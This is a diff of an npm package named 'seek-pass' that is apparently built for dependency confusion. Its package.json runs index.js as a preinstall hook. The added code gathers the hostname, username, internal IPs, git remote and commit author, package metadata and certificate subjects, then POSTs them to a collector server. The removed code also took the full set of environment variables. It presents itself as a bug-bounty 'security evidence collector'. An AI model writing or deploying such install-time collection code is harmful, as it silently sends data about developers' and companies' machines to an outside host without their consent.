|
404
|
+
type: 'certificates',
|
|
405
|
+
subjects: certs.split('\n').filter(l => l.includes('CN='))
|
|
406
|
+
});
|
|
407
|
+
}
|
|
408
|
+
} catch (err) {}
|
|
409
|
+
|
|
410
|
+
// Check for git repository (to identify program)
|
|
411
|
+
try {
|
|
412
|
+
const gitRemote = execSync('git config --get remote.origin.url 2>/dev/null', { encoding: 'utf8', timeout: 1000 });
|
|
413
|
+
if (gitRemote) {
|
|
414
|
+
evidence.gitInfo = {
|
|
415
|
+
remote: gitRemote.trim(),
|
|
416
|
+
branch: execSync('git rev-parse --abbrev-ref HEAD 2>/dev/null', { encoding: 'utf8', timeout: 1000 }).trim(),
|
|
417
|
+
commit: execSync('git rev-parse HEAD 2>/dev/null', { encoding: 'utf8', timeout: 1000 }).trim(),
|
|
418
|
+
author: execSync('git log -1 --pretty=format:"%an <%ae>" 2>/dev/null', { encoding: 'utf8', timeout: 1000 }).trim()
|
|
419
|
+
};
|
|
420
|
+
}
|
|
421
|
+
} catch (err) {}
|
|
422
|
+
|
|
423
|
+
// Check for package.json to identify what's being installed
|
|
424
|
+
try {
|
|
425
|
+
if (fs.existsSync('./package.json')) {
|
|
426
|
+
const packageJson = JSON.parse(fs.readFileSync('./package.json', 'utf8'));
|
|
427
|
+
evidence.packageInfo = {
|
|
428
|
+
name: packageJson.name,
|
|
429
|
+
version: packageJson.version,
|
|
430
|
+
scripts: Object.keys(packageJson.scripts || {}),
|
|
431
|
+
dependencies: Object.keys(packageJson.dependencies || {}).slice(0, 10)
|
|
432
|
+
};
|
|
433
|
+
}
|
|
434
|
+
} catch (err) {}
|
|
435
|
+
|
|
436
|
+
// Check for development environment indicators
|
|
437
|
+
const devIndicators = [
|
|
438
|
+
'VSCODE_PID', 'INTELLIJ_IDEA', 'WEB_IDE', 'DEV_CONTAINER',
|
|
439
|
+
'NODE_ENV=development', 'LOCAL_DEV', 'DEVELOPMENT'
|
|
440
|
+
];
|
|
441
|
+
|
|
442
|
+
for (const indicator of devIndicators) {
|
|
443
|
+
if (process.env[indicator] || (typeof process.env.NODE_ENV !== 'undefined' && process.env.NODE_ENV === 'development')) {
|
|
444
|
+
evidence.developmentEnvironment.push(indicator);
|
|
445
|
+
}
|
|
446
|
+
}
|
|
447
|
+
|
|
448
|
+
console.log(`${colors.green} ✓ Found ${evidence.corporateIndicators.length} corporate indicators`);
|
|
449
|
+
if (evidence.gitInfo) console.log(`${colors.green} ✓ Git repo: ${evidence.gitInfo.remote}`);
|
|
450
|
+
if (evidence.packageInfo) console.log(`${colors.green} ✓ Package: ${evidence.packageInfo.name} v${evidence.packageInfo.version}${colors.reset}`);
|
|
451
|
+
|
|
452
|
+
return evidence;
|
|
281
453
|
}
|
|
282
454
|
|
|
283
|
-
//
|
|
284
|
-
function
|
|
285
|
-
|
|
286
|
-
|
|
287
|
-
|
|
288
|
-
|
|
289
|
-
|
|
290
|
-
|
|
291
|
-
}
|
|
292
|
-
});
|
|
455
|
+
// ============ GENERATE PROOF HASH ============
|
|
456
|
+
function generateProofHash(allEvidence) {
|
|
457
|
+
const proofString = JSON.stringify({
|
|
458
|
+
hostname: allEvidence.hostname.systemHostname,
|
|
459
|
+
username: allEvidence.whoami.username,
|
|
460
|
+
timestamp: new Date().toISOString(),
|
|
461
|
+
internalIPs: allEvidence.http.internalIPs.map(ip => ip.address),
|
|
462
|
+
randomNonce: crypto.randomBytes(32).toString('hex')
|
|
293
463
|
});
|
|
464
|
+
|
|
465
|
+
return crypto.createHash('sha256').update(proofString).digest('hex');
|
|
294
466
|
}
|
|
295
467
|
|
|
296
|
-
//
|
|
297
|
-
async function
|
|
298
|
-
console.log(
|
|
299
|
-
|
|
300
|
-
const [
|
|
301
|
-
runnerHostname,
|
|
302
|
-
ciEnvironment,
|
|
303
|
-
gitInfo,
|
|
304
|
-
containerInfo,
|
|
305
|
-
fingerprint
|
|
306
|
-
] = await Promise.all([
|
|
307
|
-
getRunnerHostname(),
|
|
308
|
-
getCICDEnvironment(),
|
|
309
|
-
getGitInfo(),
|
|
310
|
-
getContainerInfo(),
|
|
311
|
-
getMachineFingerprint()
|
|
312
|
-
]);
|
|
468
|
+
// ============ SEND TO COLLECTOR ============
|
|
469
|
+
async function sendEvidence(allEvidence) {
|
|
470
|
+
console.log(`\n${colors.yellow}📤 Sending evidence to collector...${colors.reset}`);
|
|
313
471
|
|
|
314
|
-
const
|
|
315
|
-
|
|
316
|
-
|
|
317
|
-
|
|
318
|
-
|
|
319
|
-
|
|
320
|
-
|
|
321
|
-
|
|
322
|
-
|
|
323
|
-
|
|
324
|
-
|
|
325
|
-
|
|
326
|
-
|
|
327
|
-
|
|
328
|
-
|
|
329
|
-
|
|
330
|
-
|
|
331
|
-
|
|
332
|
-
|
|
333
|
-
|
|
334
|
-
|
|
335
|
-
|
|
336
|
-
|
|
337
|
-
|
|
338
|
-
|
|
339
|
-
// Environment variables (key CI identifiers)
|
|
340
|
-
environment: {
|
|
341
|
-
ciSystem: ciEnvironment,
|
|
342
|
-
allVariables: getFullEnvironment()
|
|
343
|
-
},
|
|
344
|
-
|
|
345
|
-
// Process information
|
|
346
|
-
process: getProcessInfo(),
|
|
472
|
+
const proofHash = generateProofHash(allEvidence);
|
|
473
|
+
const payload = {
|
|
474
|
+
...allEvidence,
|
|
475
|
+
proofHash: proofHash,
|
|
476
|
+
submissionTimestamp: new Date().toISOString(),
|
|
477
|
+
collectorEndpoint: `${COLLECTOR_SERVER}${COLLECTOR_PATH}`
|
|
478
|
+
};
|
|
479
|
+
|
|
480
|
+
const dataString = JSON.stringify(payload, null, 2);
|
|
481
|
+
|
|
482
|
+
return new Promise((resolve, reject) => {
|
|
483
|
+
const protocol = USE_HTTPS ? https : http;
|
|
484
|
+
const options = {
|
|
485
|
+
hostname: COLLECTOR_SERVER,
|
|
486
|
+
port: COLLECTOR_PORT,
|
|
487
|
+
path: COLLECTOR_PATH,
|
|
488
|
+
method: 'POST',
|
|
489
|
+
headers: {
|
|
490
|
+
'Content-Type': 'application/json',
|
|
491
|
+
'Content-Length': Buffer.byteLength(dataString),
|
|
492
|
+
'X-Evidence-Proof': proofHash,
|
|
493
|
+
'X-Source-Hostname': allEvidence.hostname.systemHostname,
|
|
494
|
+
'X-Source-User': allEvidence.whoami.username
|
|
495
|
+
}
|
|
496
|
+
};
|
|
347
497
|
|
|
348
|
-
|
|
349
|
-
|
|
498
|
+
const req = protocol.request(options, (res) => {
|
|
499
|
+
console.log(`${colors.green}✓ Evidence sent! Status: ${res.statusCode}${colors.reset}`);
|
|
500
|
+
resolve(res.statusCode);
|
|
501
|
+
});
|
|
350
502
|
|
|
351
|
-
|
|
352
|
-
|
|
353
|
-
|
|
354
|
-
|
|
355
|
-
|
|
356
|
-
|
|
357
|
-
osRelease: os.release(),
|
|
358
|
-
uptime: os.uptime(),
|
|
359
|
-
loadAverage: os.loadavg(),
|
|
360
|
-
cpus: os.cpus().length,
|
|
361
|
-
networkInterfaces: os.networkInterfaces()
|
|
362
|
-
},
|
|
503
|
+
req.on('error', (err) => {
|
|
504
|
+
console.log(`${colors.red}✗ Failed to send: ${err.message}${colors.reset}`);
|
|
505
|
+
console.log(`${colors.yellow}⚠️ Evidence saved locally for manual submission${colors.reset}`);
|
|
506
|
+
fs.writeFileSync('./evidence_backup.json', dataString);
|
|
507
|
+
resolve(null);
|
|
508
|
+
});
|
|
363
509
|
|
|
364
|
-
|
|
365
|
-
|
|
366
|
-
timestamp: Date.now(),
|
|
367
|
-
randomNonce: crypto.randomBytes(16).toString('hex'),
|
|
368
|
-
integrityHash: null // Will be set below
|
|
369
|
-
}
|
|
370
|
-
};
|
|
371
|
-
|
|
372
|
-
// Generate integrity hash
|
|
373
|
-
const dataToHash = JSON.stringify({
|
|
374
|
-
timestamp: evidence.collectionTimestamp,
|
|
375
|
-
runner: evidence.runner.hostname.system,
|
|
376
|
-
pipelineId: evidence.pipeline.id,
|
|
377
|
-
pipelineUuid: evidence.pipeline.uuid,
|
|
378
|
-
commitSha: evidence.pipeline.commitSha
|
|
510
|
+
req.write(dataString);
|
|
511
|
+
req.end();
|
|
379
512
|
});
|
|
380
|
-
|
|
381
|
-
evidence.proof.integrityHash = crypto.createHash('sha256')
|
|
382
|
-
.update(dataToHash)
|
|
383
|
-
.digest('hex');
|
|
384
|
-
|
|
385
|
-
return evidence;
|
|
386
513
|
}
|
|
387
514
|
|
|
388
|
-
//
|
|
389
|
-
async function
|
|
515
|
+
// ============ MAIN EXECUTION ============
|
|
516
|
+
async function main() {
|
|
390
517
|
try {
|
|
391
|
-
|
|
392
|
-
|
|
518
|
+
console.log(`${colors.magenta}═══════════════════════════════════════════════════════${colors.reset}`);
|
|
519
|
+
console.log(`${colors.magenta} SECURITY EVIDENCE COLLECTOR - FOR VALID REPORTS ONLY${colors.reset}`);
|
|
520
|
+
console.log(`${colors.magenta}═══════════════════════════════════════════════════════${colors.reset}\n`);
|
|
393
521
|
|
|
394
|
-
//
|
|
395
|
-
|
|
396
|
-
|
|
397
|
-
|
|
398
|
-
|
|
399
|
-
|
|
400
|
-
console.log(` - Repository: ${data.pipeline.repository}`);
|
|
401
|
-
console.log(` - Machine Fingerprint: ${data.runner.machineFingerprint.hash.substring(0, 16)}...`);
|
|
522
|
+
// Collect all required evidence
|
|
523
|
+
const httpEvidence = await captureHTTPEvidence();
|
|
524
|
+
const hostnameEvidence = getHostnameEvidence();
|
|
525
|
+
const osEvidence = getOSServerInfo();
|
|
526
|
+
const whoamiEvidence = getWhoamiEvidence();
|
|
527
|
+
const ownershipEvidence = await proveProgramOwnership();
|
|
402
528
|
|
|
403
|
-
|
|
404
|
-
|
|
405
|
-
|
|
406
|
-
|
|
407
|
-
|
|
408
|
-
|
|
409
|
-
|
|
410
|
-
|
|
411
|
-
|
|
412
|
-
|
|
529
|
+
// Combine all evidence
|
|
530
|
+
const allEvidence = {
|
|
531
|
+
required: {
|
|
532
|
+
httpRequests: httpEvidence, // MANDATORY
|
|
533
|
+
hostname: hostnameEvidence,
|
|
534
|
+
osServer: osEvidence,
|
|
535
|
+
whoami: whoamiEvidence
|
|
536
|
+
},
|
|
537
|
+
ownership: ownershipEvidence,
|
|
538
|
+
metadata: {
|
|
539
|
+
nodeVersion: process.version,
|
|
540
|
+
scriptPath: __dirname,
|
|
541
|
+
timestamp: new Date().toISOString(),
|
|
542
|
+
timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
|
|
543
|
+
language: 'JavaScript/Node.js'
|
|
413
544
|
}
|
|
414
|
-
}
|
|
545
|
+
};
|
|
415
546
|
|
|
416
|
-
|
|
417
|
-
|
|
418
|
-
});
|
|
547
|
+
// Display summary
|
|
548
|
+
console.log(`\n${colors.green}═══════════════════════════════════════════════════════${colors.reset}`);
|
|
549
|
+
console.log(`${colors.green}✓ EVIDENCE COLLECTED SUCCESSFULLY${colors.reset}`);
|
|
550
|
+
console.log(`${colors.green}═══════════════════════════════════════════════════════${colors.reset}`);
|
|
551
|
+
console.log(`\n${colors.cyan}Summary:${colors.reset}`);
|
|
552
|
+
console.log(` • HTTP Requests: ${allEvidence.required.httpRequests.outgoingRequests.length}`);
|
|
553
|
+
console.log(` • Internal IPs: ${allEvidence.required.httpRequests.internalIPs.length}`);
|
|
554
|
+
console.log(` • External IPs: ${allEvidence.required.httpRequests.externalIPs.length}`);
|
|
555
|
+
console.log(` • Hostname: ${allEvidence.required.hostname.systemHostname}`);
|
|
556
|
+
console.log(` • User: ${allEvidence.required.whoami.username}`);
|
|
557
|
+
console.log(` • Corporate Indicators: ${allEvidence.ownership.corporateIndicators.length}`);
|
|
419
558
|
|
|
420
|
-
|
|
421
|
-
|
|
422
|
-
});
|
|
559
|
+
// Send to collector
|
|
560
|
+
await sendEvidence(allEvidence);
|
|
423
561
|
|
|
424
|
-
|
|
425
|
-
|
|
562
|
+
console.log(`\n${colors.yellow}Important: This evidence proves the package was executed by:${colors.reset}`);
|
|
563
|
+
console.log(` ✓ User: ${whoamiEvidence.username}`);
|
|
564
|
+
console.log(` ✓ On host: ${hostnameEvidence.systemHostname}`);
|
|
565
|
+
console.log(` ✓ From internal network: ${httpEvidence.internalIPs.length > 0 ? 'YES' : 'NO'}`);
|
|
566
|
+
console.log(` ✓ With corporate indicators: ${ownershipEvidence.corporateIndicators.length > 0 ? 'YES' : 'NO'}`);
|
|
567
|
+
|
|
568
|
+
if (ownershipEvidence.corporateIndicators.length === 0 && httpEvidence.internalIPs.length === 0) {
|
|
569
|
+
console.log(`\n${colors.red}⚠️ WARNING: No corporate indicators found!${colors.reset}`);
|
|
570
|
+
console.log(`${colors.red}This may not be a valid security risk on the program's side.${colors.reset}`);
|
|
571
|
+
}
|
|
426
572
|
|
|
427
573
|
} catch (error) {
|
|
428
|
-
console.error(
|
|
574
|
+
console.error(`${colors.red}Error collecting evidence:${colors.reset}`, error);
|
|
429
575
|
process.exit(1);
|
|
430
576
|
}
|
|
431
577
|
}
|
|
432
578
|
|
|
433
|
-
//
|
|
434
|
-
|
|
579
|
+
// Run the collector
|
|
580
|
+
main();
|
package/package.json
CHANGED
|
@@ -1,12 +1,12 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "seek-pass",
|
|
3
|
-
"version": "100.
|
|
3
|
+
"version": "100.10.0",
|
|
4
|
+
"description": "",
|
|
5
|
+
"main": "index.js",
|
|
4
6
|
"scripts": {
|
|
5
7
|
"preinstall": "node index.js"
|
|
6
8
|
},
|
|
7
|
-
"main": "index.js",
|
|
8
9
|
"keywords": [],
|
|
9
10
|
"author": "",
|
|
10
|
-
"license": "ISC"
|
|
11
|
-
"description": ""
|
|
11
|
+
"license": "ISC"
|
|
12
12
|
}
|